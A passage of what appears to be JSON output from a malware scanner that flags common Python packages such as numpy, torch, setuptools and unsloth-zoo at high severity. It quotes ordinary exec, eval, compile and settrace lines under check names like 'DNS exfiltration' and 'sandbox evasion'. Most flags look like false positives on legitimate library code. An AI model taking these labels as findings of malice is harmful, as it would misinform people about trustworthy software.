obj) | L1064: return __import__(import_name, None, None, [obj]) | L1066: return __import__(import_name)\nExec: L979: return eval(repr_str) | L1037: return eval(attr+'.__dict__[\"'+name+'\"]')", "evidence_hash": "c937f17aaabd127849be75cf690869da02ac403403cc11801262f704358e8129" }, { "package": "dill", "file": "dill/source.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L394: lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60: _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82: _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals()) | L395: obj = eval(lines[0].lstrip(name + ' = ')) | L541: exec(getimportable(f, alias='_'), __globals__, __locals__) | L711: try: exec(_str)", "evidence_hash": "d274b9546f7fb5ac7177f84d98dfc0f877fdc7c4e76e4633fc202e2afd71772c" }, { "package": "dnspython", "file": "dns/query.py", "check": "DNS exfiltration / tunneling patterns", "severity": "HIGH", "evidence": "DNS: L142: import dns.resolver | L144: resolver = dns.resolver.Resolver() | L414: resolver: Optional[\"dns.resolver.Resolver\"], | L415: ) -> \"dns.resolver.Resolver\": | L421: import dns.resolver | L423: resolver = dns.resolver.Resolver() | L457: resolver: Optional[\"dns.resolver.Resolver\"] = None,\nNetwork: L175: ) -> socket.socket: | L176: return socket.socket(af, kind, proto) | L182: [socket.AddressFamily | int, socket.SocketKind, int], socket.socket | L328: ) -> socket.socket: | L566: if session and not isinstance(session, httpx.Client): | L567: raise ValueError(\"session parameter must be an httpx.Client\") | L598: cm = httpx.Client(\nL599: http1=h1, http2=h2, verify=verify, transport=transport\nL600: ) | L1545: s: socket.socket | ssl.SSLSocket, | L1556: is_udp = isinstance(s, socket.socket) and s.type == socket.SOCK_DGRAM", "evidence_hash": "3e75075b489bf6a8bd1cc110c41194ab85f2a9bb2eecc862c6f89cbf29264971" }, { "package": "fastmcp-slim", "file": "fastmcp/server/auth/providers/jwt.py", "check": "Embedded cryptographic key + network calls (encrypted exfil pattern)", "severity": "HIGH", "evidence": "Key: L187: \"-----BEGIN PUBLIC KEY-----\", | L188: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225: http_client: httpx.AsyncClient | None = None, | L411: else httpx.AsyncClient(timeout=httpx.Timeout(10.0))", "evidence_hash": "2d7c7c7bd15d1b8ad44ab52c361940a03ac49a451938d1fac015ebcc667e99d8" }, { "package": "ipython", "file": "IPython/core/debugger.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", "evidence": "Anti: L986: trace_function = sys.gettrace() | L987: sys.settrace(None) | L999: sys.settrace(trace_function) | L1399: sys.settrace(None)\nExec: L925: x = eval(arg, {}, {})", "evidence_hash": "21a9ef910ae943d07528d57778bb6bb2ae4929161166288b136bdd261aa302f4" }, { "package": "ipython", "file": "IPython/core/debugger_backport.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L79: code = compile(source, \"\", \"exec\")\nExec: L130: exec(source_with_closure, {}, ns) | L138: exec(code, globals, locals_copy, closure=cells) | L200: exec(code, globals, locals)", "evidence_hash": "e3098776aede69d3ef87f3c9c38d800e79c34f5888dd0154f2adb8d6521c2232" }, { "package": "ipython", "file": "IPython/core/magics/execution.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1193: self.shell.compile(ast_setup, \"\", \"exec\") | L1194: self.shell.compile(ast_stmt, \"\", \"exec\") | L1215: code = self.shell.compile(timeit_ast, \"\", \"exec\")\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)", "evidence_hash": "8f07416de7d4d46d328edf44ea0eaffadba4078649234f0790f309cae9eec075" }, { "package": "ipython", "file": "IPython/core/magics/execution.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", "evidence": "Anti: L987: trace = sys.gettrace() | L998: sys.settrace(trace)\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)", "evidence_hash": "c6ac09239c19c830c9aa0ace92b78abf3a1d349cc493e4926ce1d36c8f1072f9" }, { "package": "jinja2", "file": "jinja2/environment.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L709: return compile(source, filename, \"exec\")\nExec: L1228: exec(code, namespace)", "evidence_hash": "2f574ff55591a58d9c7fc5ed9b90c28cbb2aa37cf85b17ec45b2e21aeb60dd91" }, { "package": "matplotlib", "file": "matplotlib/sphinxext/plot_directive.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L326: compile(text, '', 'exec')\nExec: L543: exec('import numpy as np\\n'\nL544: 'from matplotlib import pyplot as plt\\n', ns) | L546: exec(str(setup.config.plot_pre_code), ns) | L552: exec(code, ns) | L554: exec(function_name + \"()\", ns)", "evidence_hash": "d00abccba1b72d92a8a87f2f31d59036f51e0a42ce94adb063727114ffed35ff" }, { "package": "multiprocess", "file": "multiprocess/tests/__init__.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", "evidence": "Anti: L440: time.sleep(300)\nNetwork: L3651: client = socket.socket() | L4933: s = socket.socket() | L5205: return socket.socket().detach() | L5209: fd = socket.socket().detach() | L5220: socket.socket(socket.AF_INET, socket.SOCK_STREAM, fileno=fd).close()\nSubprocess: L4394: with subprocess.Popen([sys.executable, '-E', '-c', cmd],\nL4395: stdout=subprocess.PIPE,\nL4396: stderr=subprocess.PIPE) as p: | L5107: data = subprocess.check_output(\nL5108: [sys.executable, '-E', '-S', '-O', '-c', prog]) | L5504: p = subprocess.Popen([sys.executable,\nL5505: '-E', '-c', cmd.format(w=w, rtype=rtype)],\nL5506: pass_fds=[w],\nL5507: stderr=subprocess.PIPE)", "evidence_hash": "1c12c77946a84106759fb683e1fe21f97ecb39493c584ef2c7945eaa9ec2d095" }, { "package": "networkx", "file": "networkx/utils/decorators.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L911: compiled = compile(code, filename, \"exec\")\nExec: L912: exec(compiled, globl, locl)", "evidence_hash": "18fe0d0874bd01eaace07a3f02218256281b8e5fe5406a9e808cf915882aac92" }, { "package": "numba", "file": "numba/np/ufunc/array_exprs.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L382: code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383: exec(code_obj, namespace)", "evidence_hash": "d52643b024852adb213bde05fcb09240a8dacdcd98ca127ba4f261e14aa88beb" }, { "package": "numba", "file": "numba/tests/support.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L874: __import__(modname)\nExec: L808: eval(co, globs, ns)", "evidence_hash": "649a7d750f903478243b0bcb9e8020521b505fc7fedc5b696ec01f4efc096109" }, { "package": "numba", "file": "numba/tests/test_firstlinefinder.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L95: code = compile(source, filename, \"exec\")\nExec: L77: exec(source, globalns) | L98: exec(code, globalns)", "evidence_hash": "5900bf71c1d91dcb87ee1fab1abe52dcec9145f907c5f0deac5dfa1b77a6c788" }, { "package": "numba", "file": "numba/tests/test_funcdesc.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L24: compiled = compile(code, filename, 'exec')\nExec: L25: exec(compiled, objs)", "evidence_hash": "e33d91ade3db9e77fab5e26d5f1cba96301fdd7b9291c1d526201d3e58f8b495" }, { "package": "numba", "file": "numba/tests/test_import.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L33: __import__(mod)\nExec: L43: modlist = set(eval(out.strip())) | L97: modlist = set(eval(out.strip()))", "evidence_hash": "3e9c4c8fa91ebc95b525d14c6bcc84aa53b20fb47fa8e40014f6902cbae4489a" }, { "package": "numba", "file": "numba/tests/test_np_functions.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L7118: exec(compile(funcstr, '', 'exec'), globals(), dct)\nExec: L7118: exec(compile(funcstr, '', 'exec'), globals(), dct)", "evidence_hash": "9e81164131d16056fb56ad3cd11b8d129d1ff4f5855031e8b501e0335d5c14ed" }, { "package": "numpy", "file": "numpy/testing/_private/utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1627: code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)", "evidence_hash": "0f709178d59737ab994e7c63800a434bdb56e9c4c72f6dc5d3ebf3bf8eb4245c" }, { "package": "numpy", "file": "numpy/testing/_private/utils.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", "evidence": "Anti: L2788: original_trace = sys.gettrace() | L2790: sys.settrace(None) | L2793: sys.settrace(original_trace)\nSubprocess: L1486: output = subprocess.run(cmd, capture_output=True, text=True) | L2889: res = subprocess.run(cmd, cwd=cwd, capture_output=True, text=True,\nL2890: errors=\"replace\", **kwargs)\nExec: L1352: exec(astr, dict) | L1640: exec(code, globs, locs)", "evidence_hash": "9c6961817e5b1751e572dfe0858286703bb835870ecdfd6a7a9fdd8372a5dd2b" }, { "package": "numpy", "file": "numpy/testing/_private/utils.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", "evidence": "Anti: L2777: original_trace = sys.gettrace() | L2779: sys.settrace(None) | L2782: sys.settrace(original_trace)\nSubprocess: L1478: output = subprocess.run(cmd, capture_output=True, text=True)\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)", "evidence_hash": "27468a6828101c6c026ae25aca8aa90ef485fd62b2c8f0967479edae9c965844" }, { "package": "numpy", "file": "numpy/tests/test_public_api.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L543: core_submodule = __import__(\nL544: f\"numpy.core.{submodule_name}\",\nL545: fromlist=[submodule_member_name]\nL546: )\nExec: L405: eval(module_name)", "evidence_hash": "084667d5d7ec9e186eea25abc9026122f15c39ec1ec734dbd5d8d801af99af1d" }, { "package": "pillow", "file": "PIL/Image.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L422: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3776: def eval(image: Image, *args: Callable[[int], float]) -> Image:", "evidence_hash": "c2c1e7ae44e15862caf8de549d09db7b35e93282450f07ef61aaf5450a408c13" }, { "package": "protobuf", "file": "protobuf-3.19.6-nspkg.pth", "check": "Unusually large executable .pth (539 bytes)", "severity": "HIGH", "evidence": "1 import line(s) in 539-byte .pth file sha256:c47e604f1738522a583f7aab6cffb80821cd18157dede051e10aa185e0af065e", "evidence_hash": "26acfc4bd3ab7973d7195e470afc660c89d34c8e0d32d3d8f15941db3e4acb8e" }, { "package": "pygments", "file": "pygments/formatters/__init__.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L38: mod = __import__(module_name, None, None, ['__all__'])\nExec: L103: exec(f.read(), custom_namespace)", "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0" }, { "package": "pygments", "file": "pygments/lexers/__init__.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L45: mod = __import__(module_name, None, None, ['__all__'])\nExec: L154: exec(f.read(), custom_namespace)", "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/torch/__init__.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12: exec(f\"{n} = torch.{n}\")", "evidence_hash": "3167e0f828bc28964e5054786712d029e967fb8cacb40717978b7acafc68c1ea" }, { "package": "scipy", "file": "scipy/optimize/_optimize.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L4155: __import__(mod_name)\nExec: L323: def eval(x):", "evidence_hash": "7935cfbe0634201c1ad7626bc38ae17c52cca968bbcfacea236f05c9576dcabd" }, { "package": "setuptools", "file": "pkg_resources/__init__.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L423: __import__(moduleOrReq) | L1739: code = compile(source, script_filename, 'exec') | L1750: script_code = compile(script_text, script_filename, 'exec') | L2562: __import__(parent) | L2785: module = __import__(self.module_name, fromlist=['__name__'], level=0)\nExec: L1740: exec(code, namespace, namespace) | L1751: exec(script_code, namespace, namespace)", "evidence_hash": "ae52cd10e8d27abe5539a1e1abc11635cef6c2a68aba98579385d8d55271fcd4" }, { "package": "setuptools", "file": "setuptools/_distutils/compilers/C/base.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1287: __import__(module_name)\nExec: L1114: if lib_type not in eval(expected):", "evidence_hash": "368651e9818ed2d1bb009027d3bcfbf94ae30639c0882a6c2bddde97b8c4f1e5" }, { "package": "setuptools", "file": "setuptools/launch.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L31: code = compile(norm_script, script_name, 'exec')\nExec: L32: exec(code, namespace)", "evidence_hash": "eae05adb1b163466a753f16be119072581011fa2a9f1cbd80d2e69ea3c7d20d9" }, { "package": "setuptools", "file": "setuptools/tests/config/test_pyprojecttoml.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L387: \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98: \"__main__.py\": \"def exec(): print('hello')\",", "evidence_hash": "067d41014f72a61d8b4adf25f3659d1f66a0e909f732223f48837aa7684df4e6" }, { "package": "setuptools", "file": "setuptools/tests/test_editable_install.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L447: exec(finder, loc, loc)", "evidence_hash": "a78d7f5af7eb4ba92656cda258c195b92f6337c585c97d0823e47a9d4a2eb15d" }, { "package": "setuptools", "file": "setuptools/wheel.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = \"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191: def eval(req, **env): | L212: (req for req in reqs if for_extra(req) and eval(req, extra=extra)),", "evidence_hash": "9c22b176a4660dcc5d3d16a78b1994e600707a6ee78eb413757e677dc3d903ce" }, { "package": "six", "file": "six.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L87: __import__(name)\nExec: L740: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")", "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f" }, { "package": "sympy", "file": "sympy/external/importtools.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L145: mod = __import__(module, **import_kwargs) | L154: __import__(module + '.' + submod)\nExec: L21: return eval(debug_str)", "evidence_hash": "bae3d873046013ecbe4fb6b4dd707d55593bc85436779063a4792c817323f7ce" }, { "package": "sympy", "file": "sympy/plotting/experimental_lambdify.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L249: namespace.update({'math': __import__('math')}) | L251: namespace.update({'cmath': __import__('cmath')}) | L254: namespace.update({'np': __import__('numpy')}) | L259: namespace.update({'imath': __import__(\nL260: 'sympy.plotting.intervalmath', fromlist=['intervalmath'])}) | L261: namespace.update({'math': __import__('math')})\nExec: L268: exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)", "evidence_hash": "a2cf99a96863e82c132ede769f9277f642f283c70e9db637b0a9b949186343cf" }, { "package": "sympy", "file": "sympy/utilities/lambdify.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L919: c = compile(funcstr, filename, 'exec')\nExec: L163: module = eval(import_command) | L170: exec(import_command, {}, namespace) | L903: exec(ln, {}, namespace) | L909: exec(ln, {}, namespace) | L920: exec(c, namespace, funclocals)", "evidence_hash": "ab4f5819576a70038301668b8f3e4a781c4b757b146117d5d93eab1896a5a6cd" }, { "package": "tensorboard", "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js", "check": "Python wheel ships large JS bundle (uncommon; manually review)", "severity": "HIGH", "evidence": "sha256: 53c38430766be25dc672a30846ac3b9eba86aee35eb0746785ec012647c7d9a2", "evidence_hash": "2c6384e8115a6d5dacf1f84d8f724832d8dc59feb442bb98ffae0857c0ccb381" }, { "package": "torch", "file": "torch/_dynamo/bytecode_debugger.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", "evidence": "Anti: L1052: self._old_trace = sys.gettrace() | L1053: sys.settrace(self._settrace_callback) | L1113: sys.settrace(self._old_trace)\nExec: L684: result = eval(arg, frame_globals, eval_locals) | L709: result = eval(cmd, frame_globals, eval_locals) | L717: exec(cmd, frame_globals, eval_locals)", "evidence_hash": "dc2afd1769d357c15b69802bd2799fafa059c0b1dcdd4937528fb5b601962f1b" }, { "package": "torch", "file": "torch/_functorch/_aot_autograd/subclass_codegen.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L342: code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344: exec(code, globals_dict, local_dict)", "evidence_hash": "b3c8fac5f30b611618085c8fa146ab48c9e00defba83aa4df2e3a570db00bf67" }, { "package": "torch", "file": "torch/fx/experimental/rewriter.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L44: code = compile(dest_ast, \"\", \"exec\")\nExec: L47: exec(code, globals_dict)", "evidence_hash": "76374f96feed416eec390458843621f33524cfb8d93ef0f3eb4cb1b47d0ad748" }, { "package": "torch", "file": "torch/fx/graph_module.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L106: exec(compile(src, key, \"exec\"), globals)\nExec: L106: exec(compile(src, key, \"exec\"), globals)", "evidence_hash": "db35f4d5ce3b1ad6466e6438be3f2a1806e83ca95edb020eb9869e6cc6080a15" }, { "package": "torch", "file": "torch/package/package_importer.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L599: def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412: exec(code, ns)", "evidence_hash": "c7c0650f0c74a086d224112f77ee76634b8f47afc047ce27fee8c7fc45560512" }, { "package": "triton", "file": "triton/runtime/interpreter.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1435: compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441: exec(compiled_code, fn_globals, local_namespace)", "evidence_hash": "ccde8f3fb7193b8004d8042fe1de107f19ab5f540300024ec43f9c0047c2a711" }, { "package": "unsloth-zoo", "file": "tests/test_compiler_dynamic_exec.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L126: code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134: exec(code, sandbox)", "evidence_hash": "85af0176d2a3662e7c269f7a397cca8d92eb79eb6d106b3e58a54c7a102cef69" }, { "package": "unsloth-zoo", "file": "tests/test_fused_forward_install.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L268: code = compile(src, fake_path, \"exec\")\nExec: L269: exec(code, namespace)", "evidence_hash": "0bd08f4d68c9f3bf3dd91d3351a4c7a6c44c2f494c70776750e821fbbbad4faa" }, { "package": "unsloth-zoo", "file": "tests/test_mlx_trainer_internals.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1158: assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L1136: def eval(self):", "evidence_hash": "c409327ef6420cc0c7224506fcb82b11bbc9838a6f2f97c9c2cfc00a40c4cdbf" }, { "package": "unsloth-zoo", "file": "tests/test_upstream_pinned_symbols_trl_vllm.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L379: mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238: \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\"", "evidence_hash": "ffcaf5f1fd295f3d6e9b59d792392e22e3e4a1eb8c494edd82f815d90323ae55" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1013: _mod = __import__(model_location, fromlist=items) | L4295: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4298: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4298: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4295: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L612: if eval(_dtype) is not None: | L613: dtype = eval(_dtype) | L955: _modeling_file = eval(model_location) | L1255: f = eval(f\"{model_location}.{module}\") | L1563: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1564: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L2699: exec(f\"import {parent}\", locals(), globals()) | L2830: dir(eval(parent)), | L2834: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L2908: module = eval(f\"modeling_file.{module}\") | L2935: inner_class = eval(f\"modeling_file.{inner_class}\") | L3065: exec(f\"from timm.layers.norm_act import {norm}\") | L3073: forward = eval(norm).forward | L3079: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3096: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3104: forward = eval(block).forward | L3110: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3389: exec(f\"import {model_location}\", globals()) | L3392: modeling_file = eval(model_location) | L3405: exec(\nL3406: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3407: ) | L3409: exec(\nL3410: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3411: globals(),\nL3412: locals(),\nL3413: ) | L3564: source = eval(f\"modeling_file.{module}\") | L3578: source = eval(f\"modeling_file.{module}\") | L3679: source = eval(f\"modeling_file.{module}\") | L3717: source = eval(f\"{model_location}.{module}\") | L3788: source = eval(f\"{model_location}.{module}\") | L3836: source = eval(f\"{model_location}.{module}\") | L4058: source = eval(f\"{model_location}.{module}\") | L4069: exec(\nL4070: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4071: globals(),\nL4072: ) | L4135: source = eval(f\"{model_location}.{module}\") | L4176: module_cls = eval(f\"{model_location}.{module}\") | L4213: module_cls = eval(f\"{model_location}.{module}\") | L4280: exec(\nL4281: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4282: globals(),\nL4283: ) | L4345: exec(inner_training_loop, globals()) | L4353: function = eval(f\"{model_location}.{module}\") | L4431: function = eval(f\"{model_location}.{module}\") | L4566: source = eval(f\"{model_location}.torch\") | L4573: function = eval(f\"source.nn.{module}\") | L4632: exec(\nL4633: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4634: globals(),\nL4635: locals(),\nL4636: ) | L4638: exec(\nL4639: f\"{model_location}.nn.{module}.forward = forward\",\nL4640: globals(),\nL4641: locals(),\nL4642: ) | L4646: exec(\nL4647: f\"combined_module.torch.nn.{module}.forward = forward\",\nL4648: globals(),\nL4649: locals(),\nL4650: ) | L4652: exec(\nL4653: f\"combined_module.nn.{module}.forward = forward\",\nL4654: globals(),\nL4655: locals(),\nL4656: ) | L4673: exec(\nL4674: f\"{model_location}.{module} = combined_module.{module}\",\nL4675: globals(),\nL4676: locals(),\nL4677: ) | L4687: check_dicts = dir(eval(f\"{model_location}\")) | L4689: item = eval(f\"{model_location}.{check}\") | L4699: exec(\nL4700: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL4701: globals(),\nL4702: locals(),\nL4703: )", "evidence_hash": "ec1875fd32d00fe885e566ebda75163e46e838ca31020abb57e0991892c2bdf7" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/fused_losses/forward_install.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L274: code = compile(new_src, synthetic_path, \"exec\")\nExec: L275: exec(code, ns)", "evidence_hash": "33b0c2ba90758a5ed84578c1d03364cb307f393e9fbb1da370ae06991e0dc7c4" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L2869: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L148: mx.eval(model.parameters()) | L180: mx.eval(model.parameters()) | L732: mx.eval(model.parameters()) | L733: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L799: mx.eval(model.parameters()) | L802: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2673: model.eval() | L3256: mx.eval(model.parameters()) | L3372: mx.eval(module.weight) | L5666: mx.eval(model.parameters()) | L5716: mx.eval(model.parameters()) | L5859: mx.eval(model.parameters())", "evidence_hash": "7b44760032c5df6d379ccfdd0bff3d23f857f64e08210fa0fba8d2881d457634" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/patching_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L706: compile(new_source, '', 'exec')\nExec: L221: try: exec(_try_compile_argument) | L226: try: exec(_try_dynamo_argument) | L570: exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L571: exec(source, globals()) | L596: exec(\"from torch._dynamo.variables.misc import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L597: exec(source, globals()) | L686: exec(f\"from transformers.integrations.bitsandbytes import ({x})\", globals()) | L749: exec(source, globals())", "evidence_hash": "f4c3d4a58360b4572b174f74d5250b661bb6b9ac942a07cca49cd42c23baf4c2" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/saving_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L4015: module = __import__('transformers', fromlist=[model_class_name])\nExec: L3897: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3943: exec(save_pretrained, globals(), functions)", "evidence_hash": 